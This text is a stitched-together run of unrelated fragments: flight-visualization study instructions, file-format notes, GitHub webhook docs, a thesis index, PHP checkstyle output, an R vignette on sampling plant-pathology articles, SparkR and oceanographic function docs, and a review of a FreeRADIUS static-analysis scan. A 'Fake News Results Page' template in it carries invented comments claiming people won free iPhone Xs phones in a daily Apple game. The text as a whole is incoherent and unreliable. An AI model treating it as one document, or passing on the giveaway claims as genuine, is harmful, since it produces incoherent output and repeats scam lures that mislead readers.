--- layout: default title: Instructions ---
In this study, you will look at visualizations from a large dataset about recent flights across the United States. The dataset is quite large, and takes a while for a computer to analyze. You will first view sets of visualizations which will approximate the overall results. Later in the study, once the computation is complete, these visualizations will then be corrected to show the precise results. You will answer some questions at each stage.
The study consists of three major parts:
When completing this task, please imagine that you are an analyst interested in flights on and flights originating out of .
The questions in the study relate to the data associated with and , and how it compares to other airlines and states in the dataset.
Upon answering the questions about the dataset, we will provide you with a code to enter into Amazon Mechanical Turk to denote that you have successfully completed the study.
Please don't take notes on the data. We want your answers to reflect what you noticed in the visualizations, not what you wrote down.


Wikidata id: Q235557
Individual Properties:
- start_sector {#unsigned long} (sector where the file starts)
Instance of File Format.
Inherited Properties:
+ start_sector (file format)Found in [compressed.c]
Instance of File Format.
(.Z compressed file)
Inherited Properties:
+ start_sector (file format)Found in [compressed.c]
Instance of File Format.
Individual Properties:
- encoding {binary, ascii} - endianness {little, big}Found in [archives.c]
Instance of File Format.
Inherited Properties:
+ start_sector (file format)Found in [compressed.c]
Subclass of File Format.
Individual Properties:
- mode {1, 2}Found in [cdimage.c]


{% extends 'base.html' %} {% block fnews_title %}Fake News Results Page{% endblock fnews_title %} {% block fnews_content %}
Results about the article
This is only for development, may change in future.


12,068 Like this
Show All comments
50 af 80312
Klara Nikolajsen
Today I got my iPhone Xs in the mail. I still can't believe it. Thanks!!!!
Karen Graversen
At first I thought it was a joke. But my iPhone Xs also came in the Mail this morning. I will clearly play this game again. Ha ha ha
Keld Thomassen
Bum. I got nothing.  It was still fun to play with.
Erland Skou
@Arnold I've had the same problem. But I tried again in the morning the next day. They seem to give ' chances ' every day.
Arnold Therkelsen
I played the game before the time expired, but have used all my chances to win:(
Every day, we randomly choose an Apple user from anywhere, who gets a chance to win a new Apple product. Location of the day:
Not valid!


{% include 'dependencies_css.html' %}
{% include 'dependencies_js.html' %}
Tracktime
Participants
Add one
Add many
Delete one
List all
Categories
Add one
Delete one
List all
Startlist
Create new - category
Create new - classification
List one
List all
Edit one
Add Time to Runner
Record Times
Start
Results
List one
List all
Experimental
List
Delete Zone
{% block content %} {% endblock %} {% include 'dependencies_js.html' %}


Triggered when an organization's team is created or deleted.
Events of this type are not visible in timelines. These events are only used to trigger organization hooks.
| Key | Type | Description |
|---|---|---|
action |
string |
The action that was performed. Can be one of created , deleted , edited , added_to_repository , or removed_from_repository . |
team |
object |
The team itself. |
changes |
object |
The changes to the team if the action was "edited". |
changes[description][from] |
string |
The previous version of the description if the action was edited . |
changes[name][from] |
string |
The previous version of the name if the action was edited . |
changes[privacy][from] |
string |
The previous version of the team's privacy if the action was edited . |
changes[repository][permissions][from][admin] |
boolean |
The previous version of the team member's admin permission on a repository, if the action was edited . |
changes[repository][permissions][from][pull] |
boolean |
The previous version of the team member's pull permission on a repository, if the action was edited . |
changes[repository][permissions][from][push] |
boolean |
The previous version of the team member's push permission on a repository, if the action was edited . |
repository |
object |
The repository that was added or removed from to the team's purview if the action was added_to_repository , removed_from_repository , or edited . For edited actions, repository also contains the team's new permission levels for the repository. |
team
{
"action":"created",
"team":{
"name":"team baxter",
"id":2175394,
"slug":"team-baxter",
"description":"",
"privacy":"secret",
"url":"https:/api.github.com/teams/2175394",
"members_url":"https:/api.github.com/teams/2175394/members{/member}",
"repositories_url":"https:/api.github.com/teams/2175394/repos",
"permission":"pull"
},
"organization":{
"login":"baxterandthehackers",
"id":4312013,
"url":"https://api.github.com/orgs/baxterandthehackers",
"repos_url":"https://api.github.com/orgs/baxterandthehackers/repos",
"events_url":"https://api.github.com/orgs/baxterandthehackers/events",
"hooks_url":"https://api.github.com/orgs/baxterandthehackers/hooks",
"issues_url":"https://api.github.com/orgs/baxterandthehackers/issues",
"members_url":"https://api.github.com/orgs/baxterandthehackers/members{/member}",
"public_members_url":"https://api.github.com/orgs/baxterandthehackers/public_members{/member}",
"avatar_url":"https://avatars.githubusercontent.com/u/4312013?v=3",
"description":""
},
"sender": {
"login": "baxterthehacker",
"id": 6752317,
"avatar_url": "https://avatars.githubusercontent.com/u/6752317?v=3",
"gravatar_id": "",
"url": "https://api.github.com/users/baxterthehacker",
"html_url": "https://github.com/baxterthehacker",
"followers_url": "https://api.github.com/users/baxterthehacker/followers",
"following_url": "https://api.github.com/users/baxterthehacker/following{/other_user}",
"gists_url": "https://api.github.com/users/baxterthehacker/gists{/gist_id}",
"starred_url": "https://api.github.com/users/baxterthehacker/starred{/owner}{/repo}",
"subscriptions_url": "https://api.github.com/users/baxterthehacker/subscriptions",
"organizations_url": "https://api.github.com/users/baxterthehacker/orgs",
"repos_url": "https://api.github.com/users/baxterthehacker/repos",
"events_url": "https://api.github.com/users/baxterthehacker/events{/privacy}",
"received_events_url": "https://api.github.com/users/baxterthehacker/received_events",
"type": "User",
"site_admin": false
}
}


{% extends "./get-started.html" %} {% load icon %} {% block unit %}
Get setup with support for a seamless experience.


An implementation neutral API for creation of dynamic proxies.
Depending on types of this package instead of {@linkplain java.lang.reflect JDK's reflection API} will allow you to plug in both standard proxies and CGLIB underneath.


Remove chosen colors from image
Move mouse to see enlarged colors; click to select sample. (Detailed help / About this program)
Sort by color
Show as text
`


Password?
Inspect the HTML again (or just keep that panel open all the time). Then try opening the
<form>
element.


stuck in cyberspace :: power in the information age
a master's thesis by chelsea palmer, 2015
Welcome to the barebones launch of my thesis website, wherein I begin to revisit html/css (gulp). For now, I think getting the material links up to my writing is more crucial than making a fancy pretty little site... after all, I kind of miss Web 1.0 when everything was quite boring and easy to parse.
The following are links to Google Docs of the various sections of my recent Master's Thesis. All inline citations within these documents can be traced to their sources within the (gigantic) bibliography document. Don't worry, I'll be cross-linking that for easier reading as soon as I can.
Feel free to contact me via email with any questions, comments, high-fives or condemnations. I'm looking forward to interdisciplinary collaboration and interstellar exploration as I move forward with both my theoretical and practical work.
- Introduction
- This is pretty boring, but lays the groundwork for the theoretical framework [anti-oppressive Community Psychology and Foucauldian notions of power] and the assumptions made [that it is totally valid and awesome to use informal journalism to comment upon contemporary events!].
- Essay 1 -- I Can't Find My Cell Phone, I Can Hardly Breathe: Omnipresent Accessibility and the Fear of Missing Out
-
-
- Fun topics: "phantom text syndrome" -- does Facebook make us less happy? -- What happened when Paul Miller, Patrick Allan, and Patton Oswalt took breaks from the Internet
- Essay 2: Shapeshift into Cyborgs: Embedded Technology and Automated Environments
-
-
- Fun topics: the invisible Internet of Things -- wasting "timeless time" on endless websites -- code is not just communication, it's action
- Essay 3: Google and Wikipedia: 'Feeling Lucky' or 'Citation Needed'?
-
-
- Fun topics: the Google-Wikipedia feedback loop -- critical consciousness and fact checking -- avoiding the echo-chamber effect
- Essay 4: A Dirty Shame: Labelling, Deviance, and the New Media Spotlight
- Essay 5: Transmit or Get Off the Net: Apathy Versus Collaboration in the Internet Age
- Essay 6: Discipline and Index: The Tension Between Control and Freedom on the Internet
- Essay 7: The Sharing Economy: From Each According to Their Need, To Each According to Their Ability
- Essay 8: Jugaad-a Be Kidding Me: Re-learning Resourceful Innovation From the Global South
- Bibliography
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.


Confusion Detection
Confusion of a student while watching MOOC videos using EEG data
Cognition is the mental action or process of acquiring knowledge and understanding through thought, experience, and the senses. Confusion is the state of being uncertain or not being able to focus properly. It hinders a person’s cognitive capabilities and interferes with the learning process or pretty much any day to day task that requires thinking. Detection and prevention of confusion are very important. When a driver is confused, his/her cognition is reduced. This is very dangerous and can cause serious repercussions. Confusion detection finds one such application in MOOCs.
Electroencephalography (EEG) is an electrophysiological monitoring method to record the electrical activity of the brain. It is noninvasive in nature and is used to measure voltage fluctuations resulting from ionic currents within the neurons of the brain. It is most often used to diagnose epilepsy, sleep disorders, depth of anesthesia, coma, encephalopathies, and brain death.
Our motive behind doing this study was to detect if some specific patterns were formed by brain waves during a state of confusion. And EEG giving time series data made it an appropriate choice for conducting this study.


YAUN
`Prev `__
Y
`Next `__
--------------
**YAUN**: /yawn/, n.
[Acronym for ‘Yet Another Unix Nerd’] Reported from the San Diego
Computer Society (predominantly a microcomputer users' group) as a
good-natured punning insult aimed at Unix zealots.
--------------
+--------------------------------+----------------------------+--------------------------------+
| `Prev `__ | `Up <../Y.html>`__ | `Next `__ |
+--------------------------------+----------------------------+--------------------------------+
| yak shaving | `Home <../index.html>`__ | yellow card |
+--------------------------------+----------------------------+--------------------------------+


When you the user loads a web page like Udacity the computer sends an HTTP request to a server. That server then sends the HTML and other code To the computer where it is read by the users brower and is displayed on the screen.
HTML stands for Hypertext Markup Language. This consits of:
HTML Markup consits of tags which tell the users computer to do stuff like make things bold. A set of tags with its content is called an Element. Attributes for example href can create a value like a link or add an image. To add breaks in the lines and create whitespace u can use P tags or br. The difference between these is that one is inline which is the br tag and the other is a block which is the P tag. span Which is an inline element is used to contain stuff whit in its tags, Which is the same for a div tag but instead is a block element.


I collaborated with front-end developer Rekha Tenjarla to create three interactive map visualizations that allow readers to look up how politically partisan their home county is.
For an Atlantic piece on political intolerance, we were given data for how politically partisan each county in the U.S. ranked. In some places, Americans are quicker to dislike or stereotype those who hold different political views, while other places are more accepting of others despite disagreements. Using this data, we created interactive d3.js maps to accompany the article. The final maps looked like this:
Searching a county
Legend: numerical scores didn't convey much information to the reader, so simpler language and a horizontal legend (optimized for mobile/desktop) were used.
Legend layouts
Color schemes for the three maps
Explore the maps here! Look up your home county to see how politically prejudiced it's ranked and read about the data findings in the article.
...there were map cupcakes (mapcakes!) to celebrate the launch, courtesy of our lovely product manager, Anika.


Hello my name is Chika. I created this site because it helps me take on 4 different side that I view everyday. it is comprised of sports, music, and different types of news that we see everyday in life. it also gives me a chance to know how to read into things that I am not used to looking at myself. so while im here to give insight on things that I like to learn, I hope you guys can teach me as well.


view\PageX
Synopsis
class PageX
extends Page
{
- // Inherited members from PageElement
- protected array $variables;
- protected string $interface;
- // methods
- public void __construct()
- public static void show()
- // Inherited methods from Page
- public void __construct()
- public void init()
- public static void getInstance()
- public static void redirect()
- public static void show404()
- public static void show505()
- public static void showErrorPage()
- public static void getRoles()
- public static void getMenu()
- // Inherited methods from PageElement
- public void __construct()
- public void getTemplatePath()
- public void getContentFile()
- public void setContentFile()
- public void getContent()
- public void getVariables()
- public void setVariables()
- public void getInterface()
- public void setInterface()
- public void setVariable()
- public void render()
- public void canRender()
Hierarchy
Extends
Violations
Checkstyle
| Line | Column | Severity | Message |
|---|---|---|---|
| 7 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 8 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 11 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 11 | 9 | error | Line indented incorrectly; expected 4 spaces, found 8 |
| 11 | 9 | error | Visibility must be declared on method "__construct" |
| 11 | 91 | error | Incorrect spacing between argument "$templatesPath" and equals sign; expected 1 but found 0 |
| 11 | 91 | error | Incorrect spacing between default value and equals sign for argument "$templatesPath"; expected 1 but found 0 |
| 11 | 97 | error | Opening brace should be on a new line |
| 12 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 13 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 13 | 100 | error | Spaces must be used for alignment; tabs are not allowed |
| 13 | 100 | error | Whitespace found at end of line |
| 14 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 14 | 43 | error | No space found after comma in argument list |
| 14 | 101 | error | No space found after comma in argument list |
| 15 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 16 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 16 | 9 | error | Line indented incorrectly; expected 4 spaces, found 8 |
| 17 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 18 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 19 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 19 | 9 | error | Line indented incorrectly; expected 4 spaces, found 8 |
| 19 | 16 | error | Visibility must be declared on method "show" |
| 19 | 91 | error | Incorrect spacing between argument "$templatesPath" and equals sign; expected 1 but found 0 |
| 19 | 91 | error | Incorrect spacing between default value and equals sign for argument "$templatesPath"; expected 1 but found 0 |
| 19 | 97 | error | Opening brace should be on a new line |
| 20 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 20 | 42 | error | No space found after comma in argument list |
| 20 | 53 | error | No space found after comma in argument list |
| 21 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 22 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 22 | 9 | error | Line indented incorrectly; expected 4 spaces, found 8 |
| 23 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 24 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 24 | 9 | error | Spaces must be used for alignment; tabs are not allowed |
| 25 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 26 | 1 | error | Spaces must be used to indent lines; tabs are not allowed |
| 26 | 5 | error | Line indented incorrectly; expected 0 spaces, found 4 |
| 27 | 1 | error | A closing tag is not permitted at the end of a PHP file |
| 27 | 1 | error | Expected 1 newline at end of file; 0 found |
Members
protected
- $interface
- $variables
Methods
History
-
2021-01-24T22:59:14+00:00 (commit #20b204f)
Author: Folarin Martins<EMAIL_ADDRESS>/ Commiter: Folarin Martins<EMAIL_ADDRESS>QA/CI tests completed; next:Jenkins CI/CD pipeline
-
2021-01-22T07:46:50+00:00 (commit #5a1d054)
Author: Folarin Martins<EMAIL_ADDRESS>/ Commiter: Folarin Martins<EMAIL_ADDRESS>Basic user CRUD service set up


vignettes/assigning_articles.Rmd
assigning_articles.Rmd
Twenty one journals in the discipline of plant pathology were selected by the four authors as being the primary choice for most plant pathologists when publishing manuscripts.
Using the assumption that journals publish an average 10 articles per issue, for a population of ~1000 articles, using a confidence level of 95% and confidence interval of 10% we need 88 samples. In Issue #3, we decided to select 200 articles to have a large sample of the population.
There are three distinct steps involved:
Set up the journals, years, and page numbers and evaluators and assign randomly. Create a tibble that holds these data along with empty fields for the evaluation of the articles. Create a Google Sheets object to serve as a template for the second step.
Look up the articles and check that the selected journal, year, page number actually are appropriate and enter the DOI and other comments regarding article selection in Google Sheets. Which is used in the third step.
Import article notes and DOIs from Google Sheets back to R, retrieve as many bib entries as possible using the DOI. Merge the bib entries with the notes and DOI values. Create a new tab in the Google Sheets object for the evaluators to carry out evaluations.
library(dplyr)
library(readr)
library(bib2df)
library(googlesheets)
library(stringr)
library(Reproducibility.in.Plant.Pathology)
set.seed(1)
# For printing tibble in total
options(tibble.print_max = 21, tibble.print_min = 21)
We hand-picked a list of 21 journals that we felt represented plant pathology research. In this step, we will create a tibble
in R of these journals, assigning them a number so that we can randomise them.
journal_list <- tibble(
seq(1:21),
c("Australasian Plant Pathology",
"Canadian Journal of Plant Pathology",
"Crop Protection",
"European Journal of Plant Pathology",
"Forest Pathology",
"Journal of General Plant Pathology",
"Journal of Phytopathology",
"Journal of Plant Pathology",
"Virology Journal (Plant Viruses Section)",
"Molecular Plant-Microbe Interactions",
"Molecular Plant Pathology",
"Nematology",
"Physiological and Molecular Plant Pathology",
"Phytoparasitica",
"Phytopathologia Mediterranea",
"Phytopathology",
"Plant Disease",
"Plant Health Progress",
"Plant Pathology",
"Revista Mexicana de Fitopatología",
"Tropical Plant Pathology"))
names(journal_list) <- c("number", "journal")
From the four authors of this paper, in this step, we will create a list for us to use that will randomly assign articles for us to evaluate for this manuscript.
assignee <- rep(c("Adam", "Emerson", "Zach", "Nik"), 50)
Now we will create a randomised list of journal articles to assign to each of the four authors for this paper.
Generate a random list of years between 2012 and 2016 and a random list of start pages between 1 and 150 since some journals start numbering at 1 with every issue. Then bind the columns of the randomised list of journals with the randomised years and page start numbers. This then assumes that there is no temporal effect, i.e., the time of year an article is published does not affect whether or not it is reproducible.
## # A tibble: 21 x 2
## journal n
## <chr> <int>
## 1 Molecular Plant Pathology 15
## 2 Plant Pathology 14
## 3 Phytoparasitica 13
## 4 Phytopathology 13
## 5 Journal of General Plant Pathology 12
## 6 Journal of Plant Pathology 11
## 7 Physiological and Molecular Plant Pathology 11
## 8 Plant Disease 11
## 9 Virology Journal (Plant Viruses Section) 11
## 10 Molecular Plant-Microbe Interactions 10
## 11 Crop Protection 9
## 12 Forest Pathology 9
## 13 European Journal of Plant Pathology 8
## 14 Revista Mexicana de Fitopatología 8
## 15 Canadian Journal of Plant Pathology 7
## 16 Journal of Phytopathology 7
## 17 Nematology 7
## 18 Phytopathologia Mediterranea 7
## 19 Plant Health Progress 7
## 20 Tropical Plant Pathology 6
## 21 Australasian Plant Pathology 4
Once this is done, the articles are manually examined for suitability. Reference articles or off-topic articles are not included. Notes are provided regarding these cases in assigned_article_notes
. If the selected page number/article was not suitable, the next sequential article was selected manually.
A variety of information will be collected with each article to be used in the analysis later. It is easiest to enter this using a spreadsheet application, so we will add on the columns for what information we want to collect and save the table as a csv for manual editing.
to_record <- c(
"doi",
"IF_5year",
"country",
"open",
"repro_inst",
"iss_per_year",
"art_class",
"supl_mats",
"comp_mthds_avail",
"software_avail",
"software_cite",
"analysis_auto",
"data_avail",
"data_annot",
"data_tidy",
"reproducibility_score"
)
journals[to_record] <- ""
journals <-
journals %>%
group_by(assignee) %>%
as_tibble()
We decided to use Google Sheets so that we could concurrently edit the file more easily. Once we’re done filling in our evaluations, we will import the data back to R. Jenny Bryan has created a handy package, googlesheets that we use here. Note that this must be run interactively for gs_new()
to work. Knitting this .Rmd file will not generate any gsheets, it must be done in an interactive R session.
Create a Google Sheets workbook to hold worksheets for this project. This first sheet will serve as a template and is thus named “template”.
Using the DOIs in this file, we can retrieve the BibTex citations for those articles that provide a DOI. Note that not all of the selected articles have a DOI, so we’ll have to manually generate those entries, or fetch them from the journals’ website later.
article_notes <- gs_title("article_notes")
notes <-
article_notes %>%
gs_read(ws = "article_notes")
# format DOIs to all be uniform, lower-case
notes$doi <- tolower(notes$doi)
# convert encodings for text with accents
notes$journal <- iconv(notes$journal, "latin1", "UTF-8")
# get bib references from the DOI (that exist)
bib <- unlist(lapply(notes$doi, doi2bib))
The Journal of Plant Pathology does not supply valid bib entries via the DOI. So we need to clean them up.
# locations of Journal of "Plant Pathology"" entries in bib object
clean_pp <- grep("journal=\\{Journal of Plant Pathology\\}", bib)
# create a dataset of just those bib entries
bib_clean_pp <- bib[clean_pp]
# function to clean the entries
clean_articles_pp <- function(x) {
title_loc <- unlist(gregexpr(pattern = "title", x))
y <- substr(x, start = title_loc[1], stop = nchar(x))
y <- paste0("@article{jpp,\n\t" , y)
y <- gsub("}, ", "},\n\t", y)
y <- gsub("=", " = ", y)
y <- gsub("}}\n", "}\n}", y)
}
# apply function and clean the bib entries
cleaned_pp <- unlist(lapply(bib_clean_pp, clean_articles_pp))
# remove the incorrect entries for Journal of Plant Pathology
bib <- bib[-clean_pp]
Phytopathologia Mediterranea also provides some malformed bib entries. The cite entries are malformed and <em> </em>
is used rather than the proper \textit{}
for a BibTeX file.
clean_pm <- grep("journal=\\{Phytopathologia Mediterranea\\}", bib)
bib_clean_pm <- bib[clean_pm]
clean_articles_pm <- function(x) {
x <- gsub(" @article\\{[[:print:]]+, title=\\{", "@article\\{PM, title = \\{", x)
x <- gsub("<em>", "\\\textit\\{", x)
x <- gsub("</em>", "}", x)
}
# apply function and clean the bib entries
cleaned_pm <- unlist(lapply(bib_clean_pm, clean_articles_pm))
bib <- bib[-clean_pm]
The larger list of bib objects has some items that are supposedly invalid DOIs. In this step we remove them and clean up the list. They’ll be added back to the database when we merge the notes at the end.
Also there are duplicates in the list somehow. Use unique()
to clean the list up.
bib <- bib[bib != "Invalid DOI"]
bib <- unique(bib)
Next export the items as files to disk as .bib files to be cleaned using JabRef. This will automatically assign unique cite keys and fix some issues with characters in the bib file. Open the file in JabRef and click “yes” when prompted to regarding the cite keys.
# clean up any existing files since we're appending
unlink("~/tmp/bib_article_notes.bib")
# write files to a local directory and clean up with JabRef
lapply(unlist(bib), write, "~/tmp/bib_article_notes.bib", append = TRUE)
lapply(unlist(cleaned_pp), write, "~/tmp/bib_article_notes.bib", append = TRUE)
lapply(unlist(cleaned_pm), write, "~/tmp/bib_article_notes.bib", append = TRUE)
Important Open resulting files in ~/tmp
directory in JabRef, create new keys and resave. JabRef will generate unique keys and fix any inconsistencies that may exist from the DOI search.
In this last bit, import the BibTeX file back into R and export to a tab in the Google Sheets for collaborative edits.
# import both the Journal of Plant Pathology (cleaned_bib) and article_notes.bib
bib <- bib2df("~/tmp/bib_article_notes.bib")
names(bib) <- tolower(names(bib))
# join notes with bibliographic data
bib_df <- left_join(notes, bib)
bib_df <- arrange(bib_df, assignee)
# create Google Sheet for concurrent edits
article_notes <-
article_notes %>%
gs_ws_new(
ws_title = "article_evaluations",
input = bib_df,
trim = TRUE,
verbose = FALSE
)
# clean up files to build R package properly with no NOTES
unlink(".httr-oauth")
The last few steps are completed outside of R in Google Docs, manually adding the missing information to the spreadsheet and the assignees adding their evaluations of their respective articles.
The Google Sheets can be found here: https://docs.google.com/spreadsheets/d/19gXobV4oPZeWZiQJAPNIrmqpfGQtpapXWcSxaXRw1-M/edit#gid=1699540381.


| with,DataFrame-method {SparkR} | R Documentation |
Evaluate a R expression in an environment constructed from a DataFrame with() allows access to columns of a DataFrame by simply referring to their name. It appends every column of a DataFrame into a new environment. Then, the given expression is evaluated in this new environment.
## S4 method for signature 'DataFrame' with(data, expr, ...) with(data, expr, ...)
data |
(DataFrame) DataFrame to use for constructing an environment. |
expr |
(expression) Expression to evaluate. |
... |
arguments to be passed to future methods. |
## Not run:
##D with(irisDf, nrow(Sepal_Width))
## End(Not run)


NeuroLab
1.0.0
License:
Apache v2.0
Built using
Electron.io
Designed & Developed by
Brandon Groff
View on GitHub


Contents
USAGE:
distance = gsw_distance(long,lat,{p})
DESCRIPTION:
Calculates the distance in metres between successive points in the
vectors long and lat, computed using the Haversine formula on a
spherical earth of radius 6,371 km, being the radius of a sphere having
the same volume as Earth. For a sperical Earth of radius 6,371,000 m,
one nautical mile is 1,853.2488 m, thus one degree of latitude is
111,194.93 m.
Note. Distances are probably good to better than 1% of the "true"
distance on the ellipsoidal earth.
INPUT:
long = longitude in decimal degress [ 0 ... +360 ]
or [ -180 ... +180 ]
lat = latitude in decimal degress north [ -90 ... +90 ]
OPTIONAL:
p = sea pressure ( default is 0 ) [ dbar ]
( i.e. absolute pressure - 10.1325 dbar )
lat and long need to have the same dimensions, Mx1 or 1xN or MxN.
p, if provided, may have dimensions 1x1 or Mx1 or 1xN or MxN,
where lat & long are Mx1 or 1xN or MxN.
OUTPUT:
distance = Distance between points on a spherical [ m ]
Earth at pressure (p)
Note. The output is in m not km.
EXAMPLE:
Example 1 Station 1 is at (-35, 159) & Station 2 is at (35, 220)
long = [159 220]
lat = [-35 35]
distance = gsw_distance(long,lat)
distance =
1.003097465291600e+007
Example 2 Station 1 is at (-35, 159) & Station 2 is at (35, 220),
the pressure at Station 1 is 200 and at Station 2 it is 1000 dbar.
long = [159 220]
lat = [-35 35]
p = [200 1000]
Note that the pressures are not equal, we therefore calculate the
distance between stations at the mid pressure.
distance = gsw_distance(long,lat,p)
distance =
1.003066163927133e+007
Example 3 If the locations are entered as pairs in a column it will
calculate the distances between each pairs of stations (points).
long = [159 220; 140 200]
lat = [-35 35; 20 45]
p = [200 1000]
distance = gsw_distance(long,lat,p)
distance =
1.003066163927133e+007
6.11164218568001e+006
AUTHOR:
6th November, 2000 by Rich Pawlowicz [<EMAIL_ADDRESS>]
Note. This function was extracted from Rich Pawlowicz's m_map package,
which is available from http://www.eos.ubc.ca/~rich/map.html
MODIFIED:
28th July, 2010 by Paul Barker and Trevor McDougall.
VERSION NUMBER:
3.05 (16th February, 2015)
REFERENCE:
Rich Pawlowicz's m_map package. http://www.eos.ubc.ca/~rich/map.html
The software is available from http://www.TEOS-10.org


Releases
Version downloads and complete release notes
Scanning FreeRADIUS with PVS-Studio
The people at PVS-Studio were kind enough to give us a temporary license so that we could scan FreeRADIUS. We scanned the v3.0.x branch of the server, as of commit a7df94. Our commentary follows.
Commentary and Analysis
We will give our comments here, not necessarily in the order that they are in the file. We do not comment on all of the messages produced by PVS-Studio. Instead, we discuss a representative sample.
scripts/jlibtool.c 441 warn V547 Expression '!out' is always false.scripts/jlibtool.c 1334 warn V547 Expression 'path' is always true.
scripts/jlibtool.c 1636 warn V522 There might be dereferencing of a potential null pointer 'tmp'.
scripts/jlibtool.c 2244 warn V519 The 'l' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 2241, 2244.
These errors are in a tool used as part of the build process. They should be fixed, but they don't affect the running server.
src/lib/cbuff.c 107 err V571 Recurring check. The 'if (cbuff->lock)' condition was already verified in line 107.src/lib/cbuff.c 124 err V571 Recurring check. The 'if (cbuff->lock)' condition was already verified in line 124.
src/lib/cbuff.c 139 err V571 Recurring check. The 'if (cbuff->lock)' condition was already verified in line 139.
src/lib/cbuff.c 150 err V571 Recurring check. The 'if (cbuff->lock)' condition was already verified in line 150.
These are duplicate checks, which are unnecessary. Fixed by commit 51839ad.
src/lib/misc.c 1931 err V535 The variable 'i' is being used for this loop and for the outer loop. Check lines: 1922, 1931.This is a bug which would cause incorrect parsing of date strings. Fixed by commit 384a9d3.
src/lib/missing.c 324 err V595 The 'ctx' pointer was utilized before it was verified against nullptr. Check lines: 324, 325.This is failure to handle an "out of memory" condition. Minor, but it should be fixed. Fixed by commit 9a613ab.
src/lib/tcp.c 114 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'packet->vector'.src/modules/rlm_eap/libeap/comp128.c 252 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'x'.
src/modules/rlm_eap/libeap/comp128.c 268 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'x'.
src/modules/rlm_eap/libeap/eapsimlib.c 262 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'sha1digest'.
src/modules/rlm_eap/types/rlm_eap_mschapv2/rlm_eap_mschapv2.c 156 err V575 The 'memcpy' function doesn't copy the whole string. Use 'strcpy / strcpy_s' function to preserve terminal null.
src/modules/rlm_eap/types/rlm_eap_sim/rlm_eap_sim.c 100 err V512 A call of the 'memcpy' function will lead to underflow of the buffer 'ess->keys.versionlist'.
src/modules/rlm_eap/libeap/eapsimlib.c 429 warn V512 A call of the 'memcmp' function will lead to underflow of the buffer 'calcmac'.
src/modules/rlm_otp/otp_pw_valid.c 151 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'otp_request.pwe.u.chap.response'.
src/modules/rlm_otp/otp_pw_valid.c 171 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'otp_request.pwe.u.chap.challenge'.
src/modules/rlm_mschap/rlm_mschap.c 1292 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'digest'.
src/modules/rlm_mschap/rlm_mschap.c 2006 err V512 A call of the 'memset' function will lead to underflow of the buffer 'mppe_sendkey'.
src/modules/rlm_mschap/rlm_mschap.c 2008 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'mppe_sendkey'.
src/modules/rlm_mschap/mschap.c 83 warn V512 A call of the 'memcpy' function will lead to underflow of the buffer 'hash'.
The pattern is that we're encoding or decoding packet data, by gradually filling a buffer. While this may be unusual in some programs, it's common in network servers. These messages are warnings, so they are not false positives.
src/main/exec.c 172 warn V507 Pointer to local array 'buffer' is stored outside the scope of this array. Such a pointer will become invalid.The code has an on-stack array buffer which is used in a restricted context. It uses a variable p to index into buffer. The issue seems to be that p is declared with a larger scope than buffer, even tho it is not used outside of the scope of buffer.
The fix is to narrow the scope of the variable p. This should have no impact (or change) to the code produced by the compiler, but it does make the warning go away.
src/modules/rlm_eap/types/rlm_eap_pwd/rlm_eap_pwd.c 389 err V568 It's odd that 'sizeof()' operator evaluates the size of a pointer to a class, but not the size of the 'packet' class object.src/modules/rlm_eap/types/rlm_eap_pwd/rlm_eap_pwd.c 390 err V568 It's odd that 'sizeof()' operator evaluates the size of a pointer to a class, but not the size of the 'packet' class object.
These are serious issues, and may be externally exploitable. They have been fixed in commit d7a006e.
src/lib/radius.c 3299 warn V575 The potential null pointer is passed into 'memcpy' function. Inspect the first argument.That's a false positive. The code does:
head = tail = malloc(fraglen); if (!head) return -1; ... memcpy(tail, ..., ...)
If head is NULL, then the function returns, and the memcpy() function isn't called. Since the code sets head = tail, we can't have tail == NULL being passed to the memcpy() function.
We would suggest an update to PVS-Studio which omits the message for this situation.
src/main/radclient.c 1628 err V576 Incorrect format. Consider checking the second actual argument of the 'printf' function. The memsize type argument is expected.src/main/radclient.c 1628 err V576 Incorrect format. Consider checking the third actual argument of the 'printf' function. The memsize type argument is expected.
src/main/radclient.c 1628 err V576 Incorrect format. Consider checking the fourth actual argument of the 'printf' function. The memsize type argument is expected.
src/main/radclient.c 1628 err V576 Incorrect format. Consider checking the fifth actual argument of the 'printf' function. The memsize type argument is expected.
src/main/radclient.c 1628 err V576 Incorrect format. Consider checking the sixth actual argument of the 'printf' function. The memsize type argument is expected.
The code is printing a uint64_t, via the PRIu64 macro that was defined in C99. No other compiler or static analysis tool complains about these arguments to printf. We believe that these messages are due to build issues on different platforms.
src/lib/udpfromto.c 227 warn V641 The size of the '& si' buffer is not a multiple of the element size of the type 'struct sockaddr_in6'.The code is using a common network pattern where a struct sockaddr_storage is defined, and then a struct sockaddr_in6* pointer is assigned to point to struct sockaddr_storage structure. There should be no issues with this kind of pattern.
The rest of the issues found by PVS-Studio follow similar patterns, so we will not discuss them here. We have, however. fixed all of the issues so that we have a "clean" build with PVS-Studio.
Conclusions
We have found that PVS-Studio is useful, and finds errors that other statis analysis tools do not find. The false positive rate is manageable, with most messages being warnings instead of errors. We believe that it is good security practice to warn about unusual code patterns, so we have few issues with the messages being produced.
